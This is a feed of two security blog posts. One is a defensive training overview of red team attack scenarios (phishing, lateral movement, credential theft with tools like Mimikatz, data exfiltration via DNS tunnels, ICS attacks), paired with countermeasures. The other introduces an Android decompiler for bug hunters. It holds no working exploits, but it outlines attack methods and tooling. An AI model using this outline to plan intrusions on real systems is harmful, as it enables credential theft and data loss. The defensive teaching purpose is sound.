DEV Community: Excalibra

Technical Training on Common Red Team Attack Scenarios During Major Event Security Assurance

Excalibra — Wed, 23 Sep 2026 12:31:33 +0000

Article Summary:

This article systematically examines eight major categories of red team attack scenarios during major event security assurance. It covers boundary breaches, social engineering phishing, supply chain poisoning, 0day/Nday exploitation, internal network lateral movement, data theft, DDoS attacks, and critical infrastructure targeting. Each scenario is analysed in terms of its attack chain and blue team countermeasures. The article emphasises the establishment of an attacker-perspective defence mindset and provides practical protection guidance for security operations personnel.

Categories: Penetration Testing, Red Team, Internal Network Penetration, Incident Response, Security Awareness

Executive Summary

During major event security assurance, adversaries employ red team thinking to launch high-intensity, highly covert attacks against networks, systems, and data. This constitutes a concentrated test of the overall security protection capabilities of responsible organisations. It covers eight categories: network boundary breaches, supply chain poisoning, social engineering phishing, 0day/Nday exploitation, internal network lateral movement, data theft, DDoS attacks, and targeted strikes on critical infrastructure. Each scenario is analysed in terms of tactical intent, attack chain, typical techniques, and blue team countermeasures. The core principles of red team attacks are also summarised to help security operations personnel develop an attacker-perspective defence mindset and make thorough preparations for major event security assurance.

Chapter 1: Overall Situation of Major Event Security Assurance and Red Team Attacks

1.1 What is Major Event Security Assurance?

Major event security assurance refers to the high-intensity, high-level cybersecurity protection work carried out during major events such as national holidays, major political conferences, international summits, and large-scale sporting events. During these periods, attackers—particularly state-level hacker organisations and professional attack teams—concentrate their efforts on key targets. Their intent is to steal sensitive data, paralyse critical businesses, and create severe security incidents, thereby disrupting the smooth conduct of major events.

1.2 Definition and Role of the Red Team

A red team is a professional security team that simulates the behaviour of real attackers for the purpose of conducting attack-defence exercises. Compared with traditional penetration testing, the characteristics of a red team are more prominently reflected in four aspects:

Objective-oriented: The ultimate goal is to acquire core assets and achieve business impact, rather than merely discovering security vulnerabilities.
Full-chain attack: The attack process covers the complete chain of reconnaissance, initial access, persistence, lateral movement, data theft, and impact generation.
Stealth priority: The team pursues long-term lurking, low-signature penetration, and avoidance of detection by defenders. The attack duration may last for weeks or even months.
Integration of social engineering: In addition to technical means, extensive use is made of phishing, spear-phishing, physical intrusion, and other social engineering techniques.

1.3 Characteristics of Red Team Attacks During Major Event Security Assurance

Characteristic	Description
High attack intensity	Attackers may simultaneously use multi-dimensional attack methods and repeatedly attempt to breach the boundary.
Organised attacks	State-level, organised attack teams with clear division of labour and mature tools.
Clear objectives	Targeted attacks against core business systems, critical data, and key personnel.
Strong covertness	Extensive use of encrypted traffic, Living off the Land techniques, in-memory webshells, and other covert means.
Long duration	Attack preparation may begin months in advance and culminate during the major event.
Supply chain exploitation	Indirect attacks on targets via software supply chains and third-party services.

1.4 Typical Attack Chain of Red Team Attacks

Red team attacks generally follow a clear attack chain model. Understanding the attack chain is the foundation for effective defence:

Reconnaissance → Weaponisation → Delivery → Exploitation → Installation → Command and Control (C2) → Actions on Objectives

Reconnaissance: Collect information on the target's network structure, employee information, technology stack, and exposure surface.
Weaponisation: Create phishing emails, malicious documents, and vulnerability exploitation tools.
Delivery: Deliver the payload via email, web pages, USB drives, or the supply chain.
Exploitation: Trigger vulnerabilities to obtain execution privileges.
Installation: Implant Trojans, webshells, and backdoors to establish persistent access.
Command and Control: Establish C2 channels for command and data transmission.
Actions on Objectives: Conduct lateral movement, privilege escalation, data theft, infrastructure destruction, and cover-up retreat operations.

The core task of the blue team during major event security assurance is to set up detection and blocking points at every stage of the attack chain, thereby neutralising the attack at the earliest possible stage.

Chapter 2: Panorama of Common Red Team Attack Scenarios During Major Event Security Assurance

Based on years of practical attack-defence experience and major event security assurance duty, red team attack scenarios during these periods can be summarised into eight major categories, covering multiple dimensions such as network boundaries, personnel, applications, data, and infrastructure:

No.	Attack Scenario	Attack Target	Threat Level
1	Boundary breach: exposure surface attacks and vulnerability exploitation	Boundary devices, web applications, VPN, bastion hosts	Extremely high
2	Social engineering phishing: email, phishing, and delivery attacks	Employee endpoints, account passwords, internal information	Extremely high
3	Supply chain poisoning and third-party risk exploitation	Software supply chain, outsourced services, development environment	High
4	0day and Nday vulnerability exploitation	Core systems, application frameworks, basic components	Extremely high
5	Internal network penetration and lateral movement	Core servers, business systems, domain controllers	Extremely high
6	Data theft and data destruction	Databases, file shares, backup systems	High
7	DDoS attacks and business paralysis	Critical business systems, egress links	High
8	Critical infrastructure and industrial control system attacks	Data centres, power, industrial control devices, operations systems	Extremely high

The following sections analyse each of these scenarios in turn.

Chapter 3: In-Depth Analysis of Common Red Team Attack Scenarios

3.1 Scenario One: Internet Attack Surface Breach and Boundary Vulnerability Exploitation

3.1.1 Scenario Description

On the eve of major event security assurance, the red team first conducts full-scale mapping of the target organisation's internet exposure surface. The mapping scope covers domain assets, IP ranges, open ports, web applications, VPN devices, email systems, and cloud services. After identifying an exploitable boundary breach point, the red team uses known vulnerabilities or logical flaws to breach the boundary and obtain an internal network springboard.

3.1.2 Attack Chain Analysis

Reconnaissance phase: Use subdomain enumeration, certificate transparency logs (such as crt.sh), and search engine fingerprinting to map the target's internet assets. Common tools include Subfinder, Amass, Fofa, Shodan, Quake, and Hunter.
Vulnerability discovery: For assets such as web applications, OA systems, VPN devices, and email gateways, batch-detect known vulnerabilities (such as Struts2, Log4j2, Shiro, Fastjson, and Spring framework vulnerabilities). Simultaneously attempt to discover unauthorised access, default passwords, and logical bypass risks.
Boundary breach:
- Obtain webshells (such as Behinder or Godzilla) through web application vulnerability exploitation.
- Exploit command injection or remote command execution vulnerabilities in boundary devices to gain device control.
- Conduct weak password or password brute-force attacks against VPN/bastion hosts to obtain VPN login privileges.
- Exploit cloud asset misconfigurations (such as object storage permissions, databases exposed to the public internet, or OSS bucket leaks) to breach the boundary.
Establishing a foothold: Upload webshells, implant in-memory webshells (such as Lilac or Behinder memory shells), and establish tunnels (such as frp, nps, or ew).

3.1.3 Typical Techniques and Tools

Asset mapping: FOFA, Quake, Shodan, Hunter, CT-UNSS, OneForAll
Vulnerability detection: xray, Nuclei, Goby, vulmap, CNVD
Web exploitation: SQLMap, BurpSuite, Yujian, Nuclei
Privilege maintenance: In-memory webshells, reverse shells, bind shells

3.1.4 Blue Team Countermeasures

Before major event security assurance, conduct internet attack surface reduction: close unnecessary ports, decommission zombie assets, and reduce VPN/RDP exposure.
Conduct vulnerability assessment and patch hardening for boundary devices, web applications, and VPNs.
Deploy WAF, IPS, and IDS, configure blocking policies, and execute IP blocking against high-risk attack sources.
Strengthen log monitoring and alarm linkage for web applications and boundary devices.
Establish detection and removal mechanisms for discovered webshells and in-memory webshells.

3.2 Scenario Two: Phishing Emails and Social Engineering Attacks

3.2.1 Attack Description

Phishing emails are the most frequently used and most successful attack method employed by red teams during major event security assurance. The red team uses content such as "major event security notices", "security exercises", "bonus payments", or "instructions from leadership" as bait. They deliver malicious attachments or phishing links to employees of the target organisation, tricking them into clicking links, entering account passwords, and thereby stealing login privileges for email, OA, VPN, and other systems.

3.2.2 Attack Chain Analysis

Information gathering: Collect employee names, positions, email addresses, and organisational structure information through social platforms, recruitment websites, and the target organisation's official website.
Weaponisation: Create malicious documents disguised as "major event security notices" or "patch upgrades" (carrying macros, OLE objects, or downloaders), or create phishing pages that imitate OA or VPN login pages.
Delivery: Send emails in bulk, disguising the sender (forging sender addresses and sender names) and using technical means to bypass email gateway protection.
Inducement: Exploit managers' natural trust in major event security and security work. Create a sense of urgency or threat, or combine with benefit inducements to lower the target's vigilance.
Harvesting: After the employee completes the click action, further trick them into entering account passwords, or clicking phishing links and enabling macros to run malicious code.

3.2.3 Typical Phishing Types

Type	Technique	Effect
Phishing email	Forged sender, spoofed system, forged attachment	Obtain account passwords, induce downloads
Spear-phishing	Targeted delivery to specific executives or key positions	High success rate, difficult to detect
Watering hole attack	Pre-place malicious content on websites frequently visited by the target	Infection upon target visit
SMS phishing / voice phishing	Spoofed system, spoofed customer service	Induce entry of verification codes
QR code phishing	Forge QR codes to induce scanning and information entry	Bypass endpoint detection

3.2.4 Blue Team Countermeasures

Strengthen email gateway security detection: intercept similar domains, forged senders, malicious attachments, and malicious links.
Conduct phishing exercises and security awareness training for all employees to help them develop the habit of "not clicking unfamiliar links and not casually entering account information".
Deploy multi-factor authentication (MFA) so that even if an account is compromised, the attacker cannot easily exploit it.
Conduct risk monitoring of email accounts, focusing on abnormal login locations, abnormal download volumes, and abnormal forwarding behaviour.
During major event security assurance, for sensitive content such as "major event security" and "patches", clarify official unified release channels to prevent content from being forged and exploited by attackers.

3.3 Scenario Three: Supply Chain Attacks and Third-Party Risks

3.3.1 Attack Description

Supply chain attacks are an extremely destructive attack scenario during major event security assurance. Attackers indirectly intrude into the target network by compromising software vendors, outsourced service providers, third-party operations and maintenance vendors, development code repositories, and dependency packages. Because the various links in the supply chain generally enjoy high trust and have weak protection capabilities, such attacks can often bypass frontal defence lines and directly hit core targets.

3.3.2 Attack Chain Analysis

Upstream attack: Compromise the software vendor's update server or signature system, and implant malicious code into software update packages.
Development environment attack: Compromise developer computers, CI/CD pipelines, and code repositories to implant backdoors into source code.
Dependency library attack: Poison open-source components and package repositories such as npm/pypi, waiting for the target to pull and install them.
Third-party service attack: Compromise the endpoints or accounts of outsourcing companies, operations vendors, cleaning and security contractors, and other partners.
Cloud service attack: Use cloud accounts, API keys, and cloud misconfigurations to intrude into the target's cloud assets.

3.3.3 Typical Cases and Techniques

Attacks launched through supply chain upgrade packages and open-source package poisoning are highly prevalent during major event security assurance. Attackers impersonate outsourced operations personnel, contact target employees under the pretext of "inspection" or "maintenance", and implant disguised malicious tools. They also exploit weak passwords and unpatched vulnerabilities in third-party systems to intrude into the internal network, then gradually move laterally towards the core area. Alternatively, they exploit the lax permissions of development and testing environments to gradually expand their influence into the production environment.

3.3.4 Blue Team Countermeasures

Establish a third-party supplier list. During major event security assurance, register, approve, and supervise supplier operations with two-person oversight.
Configure least-privilege and time-limited privileges for outsourced personnel accounts, and implement behaviour auditing.
Conduct integrity verification, signature verification, and permission control for code repositories and build pipelines.
Establish a software bill of materials (SBOM) and conduct vulnerability management for dependency components.
Implement strict isolation between development, testing, and production environments, and configure security baselines.

3.4 Scenario Four: 0day and Nday Vulnerability Exploitation

3.4.1 Attack Description

0day vulnerabilities (undisclosed vulnerabilities) and Nday vulnerabilities (publicly disclosed but unpatched vulnerabilities) are highly effective weapons for red teams. During major event security assurance, red teams typically carry a large number of exploitation tools for known vulnerabilities (such as Exchange, VPN, Weblogic, Spring, and Log4j). They also use undisclosed 0day vulnerabilities to directly attack core systems.

3.4.2 Attack Chain Analysis

Intelligence gathering: Track open-source communities, security advisories, and dark web trading channels to obtain intelligence on known vulnerabilities (Nday) or undisclosed vulnerabilities (0day).
Targeted selection: Select matching vulnerabilities based on the target's technology stack (such as the Spring framework, Log4j2 component, Fortinet VPN, or Exchange email system).
Exploit construction: Use public exploits, self-developed tools, or modified existing exploit code to build the attack payload.
Exploit delivery: Send crafted packets to the target system to trigger the vulnerability and obtain command execution privileges.
Defence evasion: Bypass security detection through encrypted traffic, obfuscated encoding, and traffic shaping.

3.4.3 Typical Vulnerability Types and Impact

Vulnerability Type	Typical Components	Impact
Remote code execution	Log4j2, FastJSON, Spring framework	Direct command execution, host control
Deserialisation	Shiro, FastJSON, Java deserialisation	Remote code execution, penetration
Command injection	Various web middleware, API interfaces	Command execution, data leakage
Privilege escalation	Authentication and authorisation flaws	Unauthorised access, data leakage
File upload	Editors, file upload components	Webshell implantation

3.4.4 Blue Team Countermeasures

Establish a vulnerability intelligence acquisition and early warning mechanism, and conduct rapid assessment and remediation of Nday vulnerabilities.
Conduct vulnerability monitoring for core components (using open-source scanners, commercial vulnerability scanning tools, or SCA tools).
Host hardening: implement measures such as minimal installation, streamlined open services, timely patch installation, and disabling high-risk component features.
Monitor web access records and system logs, and build attack signature detection rules.
Formulate emergency response plans for 0day vulnerability risks. During major event security assurance, strictly implement the "isolate first, remediate later" disposal strategy.

3.5 Scenario Five: Internal Network Penetration and Lateral Movement

3.5.1 Attack Description

After obtaining initial access privileges, the red team immediately conducts internal network reconnaissance and lateral movement. The goal is to ultimately obtain privileges for core business systems, domain controllers, or access to critical data. Lateral movement is the most threatening link in major event security assurance attacks and best reflects the attacker's technical level.

3.5.2 Attack Chain Analysis

Internal network reconnaissance: Use internal network scanning tools (such as Fscan, Nmap, or the internal network version of frp) to probe internal hosts, ports, services, and domain structures.
Privilege escalation: Use local privilege escalation vulnerabilities (such as kernel vulnerabilities), service vulnerabilities, and misconfigurations to elevate privileges to System/Root.
Credential acquisition: Capture passwords from memory (such as through Mimikatz), read configuration files, conduct LDAP queries, and export SAM/HASH values.
Lateral movement: Use authentication channels such as PsExec, WMI, scheduled tasks, SCM, and RDP to complete jumps within the internal network.
Domain attack: Launch attacks against domain controllers (such as DCSync, DSReplication, MS17-010, or BloodHound) to obtain domain administrator privileges.
Persistence: Implant hidden users, backdoors, scheduled tasks, and services within the domain to maintain long-term access privileges.
Actions on objectives: Access core databases, file servers, and business systems to export target data.

3.5.3 Typical Attack Techniques and Tools

Internal network scanning: Fscan, Ladon, NetScan, internal asset detection
Credential acquisition: Mimikatz, Procdump, LSASecrets, WCE
Lateral movement: PsExec, Impacket suite, SharpHound, BloodHound
Domain attack: MS17010, DCSync, Kerberos attacks (Golden/Silver Ticket), Group Policy
Tunnel forwarding: frp, SSH tunnels, Neo-reGeorg, HTTP tunnels

3.5.4 Blue Team Countermeasures

Segmentation and isolation: According to classified protection requirements, divide the network into different security domains and implement vertical and horizontal isolation measures.
Host hardening: Close unnecessary ports, disable weak passwords, and implement access whitelist management.
Account auditing: Monitor abnormal logins, use of high-privilege accounts, and lateral connection behaviour.
Centralised logging: Collect domain controller, server, and security device logs in a unified manner, and conduct timeline-based correlation analysis.
Threat monitoring: Deploy monitoring and detection probes at key nodes such as domain controllers, databases, and operations channels. Use the ATT&CK framework to identify attack behaviour.
MFA reinforcement: Implement MFA and bastion host controls for domain administrators and operations accounts.

3.6 Scenario Six: Data Theft and Data Security Destruction

3.6.1 Attack Description

During major event security assurance, the ultimate goal of the red team often focuses on core database data, personal privacy data, business secrets, and source code—these categories of high-value assets. Data theft attacks typically erupt after successful lateral movement and when privileges have reached a critical point. Attackers complete bulk data export in a silent and traceless manner.

3.6.2 Attack Chain Analysis

Locating data: Determine the storage locations of high-value data through databases, file server shares, network drives, and source code repositories.
Bulk export: Use database export tools (such as Navicat, SQL Server Agent, or mysql dump) to complete data export. Compress files and exfiltrate them.
Covert exfiltration: Use legitimate channels such as DNS tunnels, HTTP tunnels, cloud storage (OSS/S3), and email to complete data exfiltration.
Trace cleaning: Delete operation logs, erase operation traces, and reset timelines to delay the discovery of the attack through tracing.

3.6.3 Typical Data Theft Techniques

Technique	Description	Covertness
Direct database export	Directly connect to the database and use tools for bulk export	Medium
Bulk packaging of file servers	Compress large numbers of files and package them for exfiltration	Medium
Bulk email forwarding	Forward sensitive emails in bulk through email accounts	High
Cloud storage relay	Upload to public OSS/S3/network drives and then download	High
DNS/ICMP covert tunnels	Exfiltrate data through DNS queries and ICMP packets	Extremely high

3.6.4 Blue Team Countermeasures

Deploy access control and data loss prevention (DLP) policies for core databases and file servers.
Monitor abnormal data export behaviour: focus on large file operations within short periods, bulk access behaviour, and access during abnormal time periods.
Monitor various exfiltration channels: including email outbound, network drives, cloud storage, and abnormal traffic.
Implement data classification and grading management. Use encrypted storage and encrypted transmission for core data.
Establish complete audit logs for data access behaviour. During major event security assurance, further strengthen monitoring of data egress.

3.7 Scenario Seven: DDoS Attacks and Business Paralysis

3.7.1 Attack Description

DDoS (Distributed Denial of Service) attacks exhaust the target's bandwidth, system resources, and service capabilities by sending massive traffic or malformed requests, ultimately causing business paralysis. During major event security assurance, DDoS attacks are often used in combination with other business attacks to distract defenders and cover other attack operations.

3.7.2 Attack Chain Analysis

Resource preparation: Prepare through botnets, renting DDoS attack services, or building attack nodes independently.
Target reconnaissance: Identify specific attack targets, including websites, DNS, apps, and core interfaces.
Traffic attack: Launch high-traffic attacks (such as SYN or UDP Flood) and targeted protocol attacks (such as CC attacks or HTTPS slow attacks).
Combined attack: Use high-frequency, multi-round, multi-directional attack patterns to repeatedly suppress the target.
Effect evaluation: Monitor target business availability and adjust attack intensity and direction as appropriate.

3.7.3 Typical DDoS Attack Types

Type	Technique	Attack Target
High-traffic type	Bandwidth attacks (UDP, SYN, DNS amplification)	Egress bandwidth, links
Protocol type	TCP/IP layer attacks (SYN Flood, Smurf)	Devices, connections
Application type	CC attacks, slow HTTP, request flooding	Web applications, business interfaces
Mixed type	Combination of multiple techniques	Overall business

3.7.4 Blue Team Countermeasures

Deploy professional anti-DDoS devices and services. Pre-configure protection policies and alarm thresholds.
Conduct traffic monitoring for critical businesses during major event security assurance and reserve capacity redundancy.
Distribute attack traffic through high-defence IPs, CDNs, and cloud scrubbing.
Formulate DDoS emergency response procedures in advance, specifying traffic switching, rate limiting, and scrubbing strategies.
For application layer attacks, coordinate with WAF, rate limiting, and behaviour detection for protection.

3.8 Scenario Eight: Critical Infrastructure and Industrial Control System Attacks

3.8.1 Attack Description

During major event security assurance, attacks against data centre infrastructure, power systems, cooling systems, operations monitoring systems, and industrial control systems (ICS/SCADA) must not be underestimated. Such attacks are often associated with APT organisations and state-backed hackers. Once successful, they not only produce physical impact but also cause extremely severe social consequences.

3.8.2 Attack Chain Analysis

IT-side penetration: First obtain an attack foothold through the IT network (office network).
Boundary crossing: Use boundary entry points between IT and OT networks (such as firewall vulnerabilities, ferry attacks, or operations channels) to cross into the target control network.
OT control: Launch protocol attacks against industrial control protocols (Modbus, S7, DNP3) and issue malicious commands to controllers such as PLCs.
Physical impact: Tamper with target control logic, ultimately causing production interruption, equipment damage, or environmental anomalies.
Infrastructure attack: Attack monitoring systems, access control systems, UPS, and other operations infrastructure equipment.

3.8.3 Blue Team Countermeasures

Physical isolation: Strictly isolate IT and OT networks. Prohibit direct exposure to the internet. Use one-way gateways for isolation protection.
Least privilege configuration: Open ports on industrial control devices as needed. Configure protocol whitelists and application whitelists.
Behaviour monitoring: Deploy industrial control security monitoring systems to identify abnormal commands and abnormal access behaviour.
Backup and recovery: Regularly back up critical controllers and system configurations. Formulate emergency switching plans in advance.
Personnel control: Mandate bastion hosts with auditing mechanisms for operations channels. Implement two-person operation rules and retain complete behaviour audit records.

Chapter 4: Summary of Red Team Attack Scenarios During Major Event Security Assurance

4.1 Core Points in Attacks

Based on the analysis of the eight major attack scenarios, the core points of red team attacks during major event security assurance can be summarised as the "five ones":

One careful reconnaissance: Attackers continuously collect target information before and during the event. Reducing the attack surface is the first line of defence.
One attack entry point: All attacks require finding an entry point into the target system. The fewer the entry points, the harder the access, and the more detection layers there are, the greater the attack difficulty.
One privilege escalation: The jump from low privilege to high privilege often reuses vulnerabilities and passwords. Privilege governance is the core of protection.
One lateral movement: Lateral movement is the attacker's highway. Network isolation and account control are key to blocking this step.
One data exfiltration: Data exfiltration is the final kick of the attack. Data loss prevention and egress monitoring are the last line of defence.

4.2 Core Common Characteristics of Red Team Attacks

Characteristic	Description	Defence Countermeasure
Long attack chain	Many attack stages and long steps	Set up layered detection at each stage of the attack chain
Strong covertness	Encryption, legitimate tools, obfuscation	Behaviour analysis, correlation analysis, threat intelligence
Dependence on passwords	Password brute-forcing, credential theft	Strong passwords, MFA, credential protection
Dependence on vulnerabilities	Boundary vulnerabilities, component vulnerabilities	Reduce attack surface, timely patching, zero trust
Reliance on social engineering	Phishing, spear-phishing, pre-placement	Employee awareness, email protection, MFA
Clear objectives	Core data, business availability	Data classification, business redundancy, emergency exercises

4.3 Five Key Actions for Blue Team Defence

Reduce the attack surface: Minimise internet exposure. Complete comprehensive assessment and entry point closure before major event security assurance.
Strengthen boundary and identity protection: Implement boundary protection plus zero-trust architecture to achieve continuous verification and dynamic authorisation.
Detection and response: Establish a closed-loop mechanism of detection, analysis, response, and recovery to compress attacker dwell time (FTO).
Data loss prevention: Implement data classification and grading control. Deploy DLP and conduct egress monitoring to hold the last pass of data security.
Emergency response and review: Maintain high readiness throughout major event security assurance. Conduct timely reviews and summaries to continuously optimise and improve the protection system.

4.4 Conclusion

Major event security assurance attack-defence confrontation is a systematic engineering project of attack-defence confrontation and mutual growth. Although red team attack scenarios are diverse, their core logic remains unchanged: the entry point of an attack is the exposure surface, the bond of the attack is passwords and trust, and the end point of the attack is data and business. Only by conducting proactive exercises, continuous hardening, and pragmatic operations from a red team perspective can the blue team transform the place where attacks are most likely to succeed into the place where defence is most solid.

Chapter 5: Closing Remarks

Red team attack scenarios during major event security assurance are constantly evolving, and attack methods are continuously upgrading. However, attackers always act around three core objectives: first, obtaining an entry point—using the exposure surface to break into the system; second, gaining trust—stealing identities and credentials; third, achieving the attack end point—stealing or destroying data and business. By securing these three core links, the security defence line can be firmly held. This training aims to help every blue team member establish an attack-to-promote-defence mindset, ensuring that during major event security assurance operations they can see it, defend against it, and handle it.

Appendix A: Self-Check Checklist for Red Team Attack Scenarios During Major Event Security Assurance

No.	Check Item	Completed
1	Internet exposure asset list has been compiled and reduced	□
2	Boundary devices, VPNs, and bastion hosts have undergone vulnerability assessment and hardening	□
3	All employees have completed phishing email exercises and security awareness training	□
4	Multi-factor authentication (MFA) has been enabled for key systems	□
5	Suppliers and outsourced personnel have been registered, and accounts have been granted least privilege	□
6	Security audits have been implemented for code repositories and build pipelines	□
7	A mechanism for obtaining vulnerability intelligence and patching core components has been established	□
8	Security zone isolation and lateral access control have been implemented in the internal network	□
9	Access control and DLP have been implemented for core databases and files	□
10	Monitoring and alerting have been established for data egress channels	□
11	DDoS protection devices have been deployed and policies configured	□
12	Industrial control and infrastructure networks have been physically/logically isolated	□
13	Centralised log collection and correlation analysis are ready	□
14	Major event security assurance emergency plans have been exercised	□
15	Blue team duty rosters and escalation response procedures have been clarified	□

Appendix B: Quick Reference for Common Red Team Tools and Detection Countermeasures

Category	Common Tools	Blue Team Detection and Countermeasure Points
Asset mapping	FOFA, Shodan, Quake, Subfinder	Reduce exposure surface, eliminate fingerprint features
Vulnerability scanning	Nuclei, xray, Goby, vulmap	Timely patching, disable dangerous components
Web attack	SQLMap, BurpSuite, Yujian	WAF policies, parameter governance, privilege escalation protection
Backdoor management	Godzilla, Behinder, in-memory webshells	Traffic signatures, process behaviour detection
Internal network penetration	Fscan, Ladon, Cobalt Strike	Segmentation and isolation, log auditing, behaviour analysis
Lateral movement	PsExec, Impacket, WMI	Account monitoring, whitelists, credential protection
Privilege escalation	Kernel vulnerabilities, Potato family privilege escalation, service misconfigurations	Timely patching, least privilege
Domain attack	Mimikatz, BloodHound, DCSync	Account auditing, behaviour monitoring
Tunnelling	frp, Neo-reGeorg, DNS tunnels	Egress monitoring, whitelists, traffic detection
Data exfiltration	Cloud drives, encryption, DNS tunnels	Data loss prevention, egress monitoring

Article Source: https://excalibra.github.io/posts/2026/20260923-red-team-attack-scenarios-major-event-security/

Disclaimer:

The procedures and technical methods contained in this article are intended solely for legal and compliant security research and teaching scenarios, with the aim of enhancing network security protection capabilities. They possess clear technical research attributes.

Any unit or individual that uses the content of this article for illegal purposes such as attack or destruction without authorisation shall bear all legal liability, civil compensation, and joint liability independently; this site assumes no joint liability.

Droid ASC: A High-Performance Tool for Android Reverse Engineering and Vulnerability Discovery

Excalibra — Sat, 12 Sep 2026 21:29:16 +0000

Article Summary:

Droid ASC is a high-performance tool for Android reverse engineering and mobile security testing. It reduces memory usage by two orders of magnitude and eliminates disk caching compared to the traditional jadx decompiler, achieving second-level decompilation and millisecond search. Its core advantages lie in zero indexing, on-demand decompression, and leveraging R8 optimisation, significantly improving the efficiency of large-scale sensitive information screening and API attack surface mapping. It is suitable for red teams, SRC (Security Response Centre) operations, and emergency response scenarios, and is recommended for use in authorised testing only.

Categories: Mobile Security, Reverse Engineering, Security Tools, Penetration Testing, Practical Experience

Executive Summary

This briefing examines Droid ASC, an open-source Android reverse engineering tool unveiled at the Black Hat Europe 2026 Arsenal. The tool addresses a persistent bottleneck in mobile security testing: the slow decompilation and high memory consumption of traditional tools such as jadx when handling large APK files. By adopting a zero-index architecture, on-demand decompression of the Deflate stream, and exploitation of R8 compiler optimisations, Droid ASC achieves dramatic performance improvements. Benchmark results demonstrate search speeds up to 269 times faster and memory usage up to 125 times lower than jadx, with no disk cache. For penetration testers, red teams, and mobile bug bounty hunters, this efficiency translates directly into increased testing coverage and, consequently, greater revenue potential in pay-per-vulnerability environments.

Introduction: The Inefficiency of Traditional Decompilers

Mobile security practitioners are well aware of the economics: a single vulnerability may yield bounties ranging from thousands to tens of thousands, but the true budget drain is time. Loading a several-hundred-megabyte APK into jadx causes fans to spin, memory usage to soar beyond ten gigabytes, and progress bars to crawl for tens of minutes—sometimes culminating in an out-of-memory (OOM) failure. Meanwhile, competitors may have already submitted multiple vulnerabilities. In crowd-testing and SRC programmes, where payment is per vulnerability, tool efficiency directly converts into income.

The traditional decompilation workflow, from jadx to older tools, has focused on full unpacking, global indexing, and cross-referencing. However, the modern decompiler essentially rebuilds a bloated relational database over highly structured compilation artefacts—an approach that is fundamentally contrary to common sense. Droid ASC challenges this paradigm by treating the APK as a database to be queried on demand, rather than a project to be indexed exhaustively.

Benchmark Performance

Official comparative tests were conducted on four real-world commercial APKs (10 threads, with jadx as the control group). The results are striking:

Test APK (Size)	Global String Search	Decompile Single Class	Memory Usage
TelegramX (59 MB)	493 ms vs 20 s	168 ms vs 6 s	36 MB vs 1,016 MB
WhatsApp (130 MB)	620 ms vs 32 s	160 ms vs 15 s	36 MB vs 2.1 GB
Grab (228 MB)	1.01 s vs 2 m 14 s	177 ms vs 1 m 37 s	56 MB vs 7.1 GB
Douyin (352 MB)	1.79 s vs 8 m 02 s (49% OOM)	415 ms vs 1 m 32 s	141 MB vs 13.2 GB

Notably, jadx’s global search on the 352 MB Douyin package ran to 49% and was terminated by an OOM error, whereas Droid ASC produced results in 1.79 seconds. The performance multipliers are significant: search speeds up to 269 times faster, decompilation up to 222 times faster, and memory efficiency 125 times greater. In terms of disk cache, Droid ASC uses 0 MB, while jadx writes between 119 MB and 322 MB for index caching.

Figure 1: Comparison of Droid ASC and jadx official benchmark results. (Credit: GitHub MG1937/ASC)

The Zero-Index Approach: Core Innovations

Traditional decompilers spend the majority of their time on full unpacking, global index construction, and cross-referencing. Droid ASC’s author argues that compilation output is highly structured data, yet modern decompilers rebuild it into an unwieldy relational database—an approach that defies common sense. Droid ASC employs four key technologies:

Direct Probing of the Deflate Stream – Rather than fully decompressing the APK, Droid ASC constructs a dense Huffman lookup table and extracts only the necessary core metadata blocks, disregarding the rest of the data.
Weaponising R8 Compiler Optimisations – R8 employs deterministic constant propagation and instruction de-duplication, concentrating code physically. Droid ASC leverages this compiler behaviour to achieve lightning-fast searches across DEX files.
O(1) Instruction-to-Method Mapping – Bytecode offsets are mapped to methods in constant time, without constructing any map table.
In-Memory Reconstruction of Minimal DEX – Upon a hit, only the target class and its dependent bytecode are dynamically assembled into a self-consistent minimal DEX, which is immediately decompiled.

The entire process is stateless, with zero preprocessing and zero disk caching. It leaves no trace on the machine after execution.

How to Use Droid ASC

Step 1: Environment Preparation

The project is pure Python and can be run after cloning. It uses androguard as the decompilation backend, mutf8 for Dalvik string encoding, and Tkinter for the GUI. No other heavyweight dependencies are required.

git clone https://github.com/MG1937/ASC.git
cd ASC
pip install androguard mutf8

Step 2: Graphical Interface

https://github.com/user-attachments/assets/4c4a6813-8561-490c-a573-ef113da861b6

Launch the GUI with a single command:

python main.py app.apk --gui

Within the GUI, one can browse by package name, perform global searches for strings, types, methods, and fields, click to view decompiled source code, and benefit from identifier renaming, theme switching, and Manifest viewing—essentially a “second-generation jadx-gui”.

Step 3: Command-Line Extraction of a Single Class

python main.py getclass app.apk Lcom/poc/Main; -o Main.java
python main.py getclass app.apk com.poc.Main --threads 16

Class names support common notations such as com.poc.Main, and the tool automatically converts them to Dalvik descriptors.

Step 4: Global Reference Search (`findrefs`)

python main.py findrefs app.apk string token -o string_refs.txt
python main.py findrefs app.apk type com.poc.Main
python main.py findrefs app.apk method onCreate --class com.poc.Main
python main.py findrefs app.apk method notify --class openclaw --fuzzy-class -o method_refs.txt
python main.py findrefs app.apk field changeQuickRedirect -o field_refs.txt

string and type perform fuzzy matching. For method and field, the class name may be omitted for a global search, or --class can be combined with --fuzzy-class for fuzzy class name limitation. -o writes results to disk, --threads controls concurrency, and --debug outputs timing for each stage.

Value in Penetration Testing

For penetration testers, red teams, and mobile SRC participants, Droid ASC transforms the most tedious waiting period—from unpacking to obtaining results—into a matter of seconds. In pay-per-vulnerability environments, this saved time is directly convertible into revenue. Five specific benefits are evident:

Rapid Extraction of Hardcoded Secrets – Hardcoded keys, API addresses, and encryption salts that previously required eight minutes of waiting can now be retrieved in two seconds. During asset screening, this gap widens to hours, yielding more testable surfaces and more vulnerabilities.
Low-Cost Machines Can Handle Difficult Targets – With 141 MB memory usage compared to jadx’s 13.2 GB, Droid ASC runs on cloud hosts, old laptops, and containers. OOM failures no longer deter testing, and there is no need to provision additional machines for each unpacking operation.
Natural Affinity for R8-Obfuscated Products – Most mainstream APKs are processed by R8. Droid ASC directly leverages the physical layout optimised by R8, meaning the more “regularised” the code, the faster the search. There is no longer a need to guess names and rely on luck.
Rapid Mapping of API Attack Surface – Using type and method searches to locate network layers and business interface classes, combined with getclass to extract target class source code in seconds, the speed of producing an interface list directly determines the testing rhythm. The number of assets covered within a given window doubles.
Trace-Free Analysis – Zero preprocessing, zero disk cache, and stateless operation make Droid ASC particularly suitable for emergency response and forensic scenarios involving classified samples. No index files are left behind after delivery.

Old rules apply: the above techniques should only be used in authorised testing and legal research scenarios.

Conclusion

The value of Droid ASC lies not merely in being a “faster jadx”, but in introducing a new working paradigm: a decompiler need not be a bloated indexing tool; it can be an engine for on-demand queries. Every minute saved is a minute available to examine another interface and discover another vulnerability.

